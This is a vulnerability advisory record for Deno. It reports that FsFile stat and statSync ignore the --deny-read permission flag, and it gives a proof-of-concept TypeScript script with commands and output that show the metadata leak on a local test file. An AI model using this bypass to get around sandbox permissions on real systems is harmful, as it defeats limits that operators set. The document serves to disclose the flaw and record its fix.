GHSA-qq26-84mh-26j9

Suggest an improvement
Source
https://github.com/advisories/GHSA-qq26-84mh-26j9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-qq26-84mh-26j9/GHSA-qq26-84mh-26j9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-qq26-84mh-26j9
Aliases
Published
2025-10-08T17:56:40Z
Modified
2025-10-08T18:27:30.407482Z
Severity
  • 3.3 (Low) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N CVSS Calculator
Summary
Deno's --deny-read check does not prevent permission bypass
Details

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
  • poc_file.stat.ts
    // touch test1.txt
    // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
    // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
    // deno run --allow-write=./ poc_file.stat.ts 1
    async function poc1(){
        using file = await Deno.open("./test1.txt", { read: false, write: true});
        const fileInfo = await file.stat();
        console.log(fileInfo.isFile);
    }
    
    // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
    // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
    // deno run --allow-write=./ poc_file.stat.ts 2
    function poc2(){
        using file = Deno.openSync("./test1.txt", { read: false, write: true});
        const fileInfo = file.statSync();
        console.log(fileInfo.isFile);
    }
    
    // https://docs.deno.com/api/deno/~/Deno.stat
    // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
    // deno run --allow-write=./ poc_file.stat.ts 3
    async function poc3(){
        // not executed
        const fileInfo = await Deno.stat("./test1.txt");
        console.log(fileInfo.isFile);
    }
    
    // https://docs.deno.com/api/deno/~/Deno.statSync
    // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
    // deno run --allow-write=./ poc_file.stat.ts 4
    function poc4(){
        // not executed
        const fileInfo = Deno.statSync("./test1.txt");
        console.log(fileInfo.isFile);
    }
    
    
    async function main(){
        const poc = Deno.args[0] || 1;
    
        const status = await Deno.permissions.query({ name: "read", path: "./" });
        console.log(status);
        switch (poc) {
            case "1":
                poc1()
                break;
            case "2":
                poc2()
                break;
            case "3":
                poc3()
                break;
            case "4":
                poc4()
                break;
            default:
                poc1()
        }
    }
    
    main()
    

Output: - deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1

PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2

    PermissionStatus { state: "denied", onchange: null }
    true
    
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3

    PermissionStatus { state: "denied", onchange: null }
    error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
        const fileInfo = await Deno.stat("./test1.txt");
                                    ^
        ...
    
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4

    PermissionStatus { state: "denied", onchange: null }
    error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
        const fileInfo = Deno.statSync("./test1.txt");
                              ^
        ...
    

Impact

Permission model bypass

Database specific
{
    "github_reviewed": true,
    "nvd_published_at": "2025-10-08T01:15:33Z",
    "cwe_ids": [
        "CWE-269"
    ],
    "severity": "LOW",
    "github_reviewed_at": "2025-10-08T17:56:40Z"
}
References

Affected packages

crates.io / deno

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.5.3